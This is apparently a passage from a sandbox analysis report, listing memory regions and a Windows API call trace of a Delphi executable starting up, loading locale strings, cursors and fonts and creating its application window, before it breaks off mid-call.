id = 325 start_va = 0x5d0000 end_va = 0x5e6fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 326 start_va = 0x5f0000 end_va = 0x5f0fff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 327 start_va = 0x1310000 end_va = 0x1328fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001310000" filename = "" Region: id = 338 start_va = 0x1330000 end_va = 0x1330fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001330000" filename = "" Thread: id = 1 os_tid = 0x97c [0028.879] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0028.879] GetKeyboardType (nTypeFlag=0) returned 4 [0028.880] GetCommandLineA () returned="\"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" " [0028.880] GetStartupInfoA (in: lpStartupInfo=0x12fefc | out: lpStartupInfo=0x12fefc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0028.880] GetCurrentThreadId () returned 0x97c [0028.880] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x12f9f8, nSize=0x105 | out: lpFilename="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe" (normalized: "c:\\users\\eebsym5\\desktop\\3838612080743901967.exe")) returned 0x30 [0028.880] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x12f8d3, nSize=0x105 | out: lpFilename="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe" (normalized: "c:\\users\\eebsym5\\desktop\\3838612080743901967.exe")) returned 0x30 [0028.880] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x12f9e8 | out: phkResult=0x12f9e8*=0x0) returned 0x2 [0028.880] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x12f9e8 | out: phkResult=0x12f9e8*=0x0) returned 0x2 [0028.880] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x12f9e8 | out: phkResult=0x12f9e8*=0x0) returned 0x2 [0028.880] lstrcpynA (in: lpString1=0x12f8d3, lpString2="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe", iMaxLength=261 | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe") returned="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe" [0028.880] GetThreadLocale () returned 0x409 [0028.880] GetLocaleInfoA (in: Locale=0x409, LCType=0x3, lpLCData=0x12f9e3, cchData=5 | out: lpLCData="ENU") returned 4 [0028.881] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe") returned 48 [0028.881] lstrcpynA (in: lpString1=0x12f900, lpString2="ENU", iMaxLength=216 | out: lpString1="ENU") returned="ENU" [0028.881] LoadLibraryExA (lpLibFileName="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.ENU", hFile=0x0, dwFlags=0x2) returned 0x0 [0028.881] lstrcpynA (in: lpString1=0x12f900, lpString2="EN", iMaxLength=216 | out: lpString1="EN") returned="EN" [0028.881] LoadLibraryExA (lpLibFileName="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.EN", hFile=0x0, dwFlags=0x2) returned 0x0 [0028.881] LoadStringA (in: hInstance=0x400000, uID=0xffd6, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Exception in safecall method") returned 0x1c [0028.882] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x2c48b0 [0028.882] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x1210000 [0028.882] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x2c58b0 [0028.882] VirtualAlloc (lpAddress=0x1210000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1210000 [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Interface not supported") returned 0x17 [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffd3, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="External exception %x") returned 0x15 [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Assertion failed") returned 0x10 [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Variant array index out of bounds") returned 0x21 [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Variant is not an array") returned 0x17 [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffd0, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Error creating variant array") returned 0x1c [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffed, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Variant method calls not supported") returned 0x22 [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffec, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Invalid variant operation") returned 0x19 [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffeb, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Invalid variant type conversion") returned 0x1f [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Stack overflow") returned 0xe [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Control-C hit") returned 0xd [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Privileged instruction") returned 0x16 [0028.882] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Access violation at address %p. %s of address %p") returned 0x30 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Invalid class typecast") returned 0x16 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Floating point underflow") returned 0x18 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Floating point overflow") returned 0x17 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Floating point division by zero") returned 0x1f [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Invalid floating point operation") returned 0x20 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Integer overflow") returned 0x10 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Range check error") returned 0x11 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Division by zero") returned 0x10 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Invalid numeric input") returned 0x15 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Disk full") returned 0x9 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Read beyond end of file") returned 0x17 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="File access denied") returned 0x12 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Too many open files") returned 0x13 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfff4, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="Invalid filename") returned 0x10 [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfff3, lpBuffer=0x12fb1c, cchBufferMax=1024 | out: lpBuffer="File not found") returned 0xe [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xfff1, lpBuffer=0x12fb08, cchBufferMax=1024 | out: lpBuffer="Out of memory") returned 0xd [0028.883] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x12fb08, cchBufferMax=1024 | out: lpBuffer="Invalid pointer operation") returned 0x19 [0028.883] GetVersionExA (in: lpVersionInformation=0x12fea0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x12fea0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0028.883] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x761d0000 [0028.883] GetProcAddress (hModule=0x761d0000, lpProcName="GetDiskFreeSpaceExA") returned 0x7625f46f [0028.883] GetThreadLocale () returned 0x409 [0028.883] GetThreadLocale () returned 0x409 [0028.883] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Jan") returned 4 [0028.883] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x12fd78, cchData=256 | out: lpLCData="January") returned 8 [0028.883] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Feb") returned 4 [0028.883] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x12fd78, cchData=256 | out: lpLCData="February") returned 9 [0028.883] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Mar") returned 4 [0028.883] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x12fd78, cchData=256 | out: lpLCData="March") returned 6 [0028.883] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Apr") returned 4 [0028.883] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x12fd78, cchData=256 | out: lpLCData="April") returned 6 [0028.883] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x12fd78, cchData=256 | out: lpLCData="May") returned 4 [0028.883] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x12fd78, cchData=256 | out: lpLCData="May") returned 4 [0028.883] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Jun") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x12fd78, cchData=256 | out: lpLCData="June") returned 5 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Jul") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x12fd78, cchData=256 | out: lpLCData="July") returned 5 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Aug") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x12fd78, cchData=256 | out: lpLCData="August") returned 7 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Sep") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x12fd78, cchData=256 | out: lpLCData="September") returned 10 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Oct") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x12fd78, cchData=256 | out: lpLCData="October") returned 8 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Nov") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x12fd78, cchData=256 | out: lpLCData="November") returned 9 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Dec") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x12fd78, cchData=256 | out: lpLCData="December") returned 9 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Sun") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Sunday") returned 7 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Mon") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Monday") returned 7 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Tue") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Tuesday") returned 8 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Wed") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Wednesday") returned 10 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Thu") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Thursday") returned 9 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Fri") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Friday") returned 7 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Sat") returned 4 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x12fd78, cchData=256 | out: lpLCData="Saturday") returned 9 [0028.884] GetThreadLocale () returned 0x409 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x12fdd4, cchData=256 | out: lpLCData="$") returned 2 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x12fdd4, cchData=256 | out: lpLCData="0") returned 2 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x12fdd4, cchData=256 | out: lpLCData="0") returned 2 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x12fecc, cchData=2 | out: lpLCData=",") returned 2 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x12fecc, cchData=2 | out: lpLCData=".") returned 2 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x12fdd4, cchData=256 | out: lpLCData="2") returned 2 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x12fecc, cchData=2 | out: lpLCData="/") returned 2 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x12fdd4, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0028.884] GetThreadLocale () returned 0x409 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x12fda0, cchData=256 | out: lpLCData="1") returned 2 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x12fdd4, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0028.884] GetThreadLocale () returned 0x409 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x12fda0, cchData=256 | out: lpLCData="1") returned 2 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x12fecc, cchData=2 | out: lpLCData=":") returned 2 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x12fdd4, cchData=256 | out: lpLCData="AM") returned 3 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x12fdd4, cchData=256 | out: lpLCData="PM") returned 3 [0028.884] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x12fdd4, cchData=256 | out: lpLCData="0") returned 2 [0028.885] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x12fdd4, cchData=256 | out: lpLCData="0") returned 2 [0028.885] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x12fdd4, cchData=256 | out: lpLCData="0") returned 2 [0028.885] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x12fecc, cchData=2 | out: lpLCData=",") returned 2 [0028.885] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x8c [0028.885] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x90 [0028.885] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x94 [0028.885] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x98 [0028.886] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x77ad0000 [0028.886] GetDC (hWnd=0x0) returned 0x2010282 [0028.887] GetDeviceCaps (hdc=0x2010282, index=90) returned 96 [0028.887] ReleaseDC (hWnd=0x0, hDC=0x2010282) returned 1 [0028.887] GetDC (hWnd=0x0) returned 0x2010282 [0028.887] GetDeviceCaps (hdc=0x2010282, index=104) returned 0 [0028.887] ReleaseDC (hWnd=0x0, hDC=0x2010282) returned 1 [0028.887] CreatePalette (plpal=0x12fb30) returned 0x530807f2 [0028.887] GetStockObject (i=7) returned 0x1b00017 [0028.887] GetStockObject (i=5) returned 0x1900015 [0028.887] GetStockObject (i=13) returned 0x18a002e [0028.887] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0028.888] MulDiv (nNumber=8, nNumerator=96, nDenominator=72) returned 11 [0028.888] LoadStringA (in: hInstance=0x400000, uID=0xff5d, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Alt+") returned 0x4 [0028.888] LoadStringA (in: hInstance=0x400000, uID=0xff5c, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Ctrl+") returned 0x5 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff5b, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Shift+") returned 0x6 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff5a, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Del") returned 0x3 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff59, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Ins") returned 0x3 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff58, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Down") returned 0x4 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff57, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Right") returned 0x5 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff56, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Up") returned 0x2 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff55, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Left") returned 0x4 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff54, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Home") returned 0x4 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff53, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="End") returned 0x3 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff52, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="PgDn") returned 0x4 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff51, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="PgUp") returned 0x4 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff50, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Space") returned 0x5 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff6f, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Enter") returned 0x5 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff6e, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Esc") returned 0x3 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff6d, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="Tab") returned 0x3 [0028.889] LoadStringA (in: hInstance=0x400000, uID=0xff6c, lpBuffer=0x12fb2c, cchBufferMax=1024 | out: lpBuffer="BkSp") returned 0x4 [0028.889] GetVersion () returned 0x1db10106 [0028.890] GetCurrentProcessId () returned 0x978 [0028.890] GlobalAddAtomA (lpString="Delphi00000978") returned 0xc156 [0028.890] GetCurrentThreadId () returned 0x97c [0028.890] GlobalAddAtomA (lpString="ControlOfs004000000000097C") returned 0xc155 [0028.890] RegisterClipboardFormatA (lpszFormat="ControlOfs004000000000097C") returned 0xc13f [0028.890] GetProcAddress (hModule=0x77ad0000, lpProcName="GetMonitorInfoA") returned 0x77adc34e [0028.890] GetProcAddress (hModule=0x77ad0000, lpProcName="GetSystemMetrics") returned 0x77ae67cf [0028.890] GetSystemMetrics (nIndex=19) returned 1 [0029.133] GetSystemMetrics (nIndex=75) returned 1 [0029.133] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x1210f1c, fWinIni=0x0 | out: pvParam=0x1210f1c) returned 1 [0029.134] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0029.134] LoadCursorA (hInstance=0x0, lpCursorName=0x7f86) returned 0x10015 [0029.134] LoadCursorA (hInstance=0x400000, lpCursorName=0x7ff9) returned 0x30185 [0029.134] LoadCursorA (hInstance=0x0, lpCursorName=0x7f8b) returned 0x1001b [0029.134] LoadCursorA (hInstance=0x0, lpCursorName=0x7f8a) returned 0x10019 [0029.134] LoadCursorA (hInstance=0x0, lpCursorName=0x7f88) returned 0x10017 [0029.134] LoadCursorA (hInstance=0x400000, lpCursorName=0x7ffa) returned 0x30199 [0029.135] LoadCursorA (hInstance=0x400000, lpCursorName=0x7ffb) returned 0x50191 [0029.135] LoadCursorA (hInstance=0x400000, lpCursorName=0x7ffc) returned 0x5018f [0029.135] LoadCursorA (hInstance=0x400000, lpCursorName=0x7ffd) returned 0x90173 [0029.135] LoadCursorA (hInstance=0x400000, lpCursorName=0x7fff) returned 0x8015b [0029.135] LoadCursorA (hInstance=0x400000, lpCursorName=0x7ffe) returned 0x1700eb [0029.135] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0029.135] LoadCursorA (hInstance=0x0, lpCursorName=0x7f04) returned 0x1000b [0029.135] LoadCursorA (hInstance=0x0, lpCursorName=0x7f84) returned 0x10011 [0029.136] LoadCursorA (hInstance=0x0, lpCursorName=0x7f82) returned 0x1000d [0029.136] LoadCursorA (hInstance=0x0, lpCursorName=0x7f85) returned 0x10013 [0029.136] LoadCursorA (hInstance=0x0, lpCursorName=0x7f83) returned 0x1000f [0029.136] LoadCursorA (hInstance=0x0, lpCursorName=0x7f80) returned 0x0 [0029.136] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005 [0029.136] LoadCursorA (hInstance=0x0, lpCursorName=0x7f03) returned 0x10009 [0029.136] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0029.136] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0029.136] GetDC (hWnd=0x0) returned 0x2010282 [0029.136] GetDeviceCaps (hdc=0x2010282, index=90) returned 96 [0029.136] ReleaseDC (hWnd=0x0, hDC=0x2010282) returned 1 [0029.136] GetProcAddress (hModule=0x77ad0000, lpProcName="EnumDisplayMonitors") returned 0x77ae34a3 [0029.136] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x4524e0, dwData=0x1211168) returned 1 [0029.136] SystemParametersInfoA (in: uiAction=0x1f, uiParam=0x3c, pvParam=0x12fe97, fWinIni=0x0 | out: pvParam=0x12fe97) returned 1 [0029.136] CreateFontIndirectA (lplf=0x12fe97) returned 0x2c0a0815 [0029.137] GetObjectA (in: h=0x2c0a0815, c=60, pv=0x12fc88 | out: pv=0x12fc88) returned 60 [0029.137] SystemParametersInfoA (in: uiAction=0x29, uiParam=0x0, pvParam=0x12fd43, fWinIni=0x0 | out: pvParam=0x12fd43) returned 1 [0029.137] CreateFontIndirectA (lplf=0x12fe1f) returned 0x250a0794 [0029.137] GetObjectA (in: h=0x250a0794, c=60, pv=0x12fc88 | out: pv=0x12fc88) returned 60 [0029.137] CreateFontIndirectA (lplf=0x12fde3) returned 0x280a0824 [0029.137] GetObjectA (in: h=0x280a0824, c=60, pv=0x12fc88 | out: pv=0x12fc88) returned 60 [0029.137] LoadIconA (hInstance=0x400000, lpIconName="MAINICON") returned 0x6006f [0029.139] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x12fdf7, nSize=0x100 | out: lpFilename="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe" (normalized: "c:\\users\\eebsym5\\desktop\\3838612080743901967.exe")) returned 0x30 [0029.140] OemToCharA (in: pSrc="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe", pDst=0x12fdf7 | out: pDst="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe") returned 1 [0029.140] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x290000 [0029.141] GetClassInfoA (in: hInstance=0x400000, lpClassName="TApplication", lpWndClass=0x12fdac | out: lpWndClass=0x12fdac) returned 0 [0029.141] RegisterClassA (lpWndClass=0x463cbc) returned 0x9dc135 [0029.141] GetSystemMetrics (nIndex=0) returned 1440 [0029.141] GetSystemMetrics (nIndex=1) returned 900 [0029.141] CreateWindowExA (dwExStyle=0x0, lpClassName="TApplication", lpWindowName="3838612080743901967", dwStyle=0x84ca0000, X=720, Y=450, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x50114 [0029.216] SetWindowLongA (hWnd=0x50114, nIndex=-4, dwNewLong=2691055) returned 4222032 [0029.216] SendMessageA (hWnd=0x50114, Msg=0x80, wParam=0x1, lParam=0x6006f) returned 0x0 [0029.216] DefWindowProcA (hWnd=0x50114, Msg=0x80, wParam=0x1, lParam=0x6006f) returned 0x0 [0029.226] DefWindowProcA (hWnd=0x50114, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x220121 [0029.227] SetClassLongA (hWnd=0x50114, nIndex=-14, dwNewLong=393327) returned 0x0 [0029.228] GetSystemMenu (hWnd=0x50114, bRevert=0) returned 0x70129 [0029.229] DeleteMenu (hMenu=0x70129, uPosition=0xf030, uFlags=0x0) returned 1 [0029.229] DeleteMenu (hMenu=0x70129, uPosition=0xf000, uFlags=0x0) returned 1 [0029.229] DeleteMenu (hMenu=0x70129, uPosition=0xf010, uFlags=0x0) returned 1 [0029.230] GetKeyboardLayoutList (in: nBuff=64, lpList=0x12fd78 | out: lpList=0x12fd78) returned 1 [0029.232] GetModuleHandleA (lpModuleName="USER32") returned 0x77ad0000 [0029.232] GetProcAddress (hModule=0x77ad0000, lpProcName="AnimateWindow") returned 0x77b00620 [0029.233] RegisterClipboardFormatA (lpszFormat="commdlg_help") returned 0xc0ea [0029.233] RegisterClipboardFormatA (lpszFormat="commdlg_FindReplace") returned 0xc0fb [0029.233] GetCurrentThreadId () returned 0x97c [0029.233] GlobalAddAtomA (lpString="WndProcPtr004000000000097C") returned 0xc154 [0029.233] RegisterClipboardFormatA (lpszFormat="Delphi Picture") returned 0xc136 [0029.233] RegisterClipboardFormatA (lpszFormat="Delphi Component") returned 0xc137 [0029.233] GetModuleHandleA 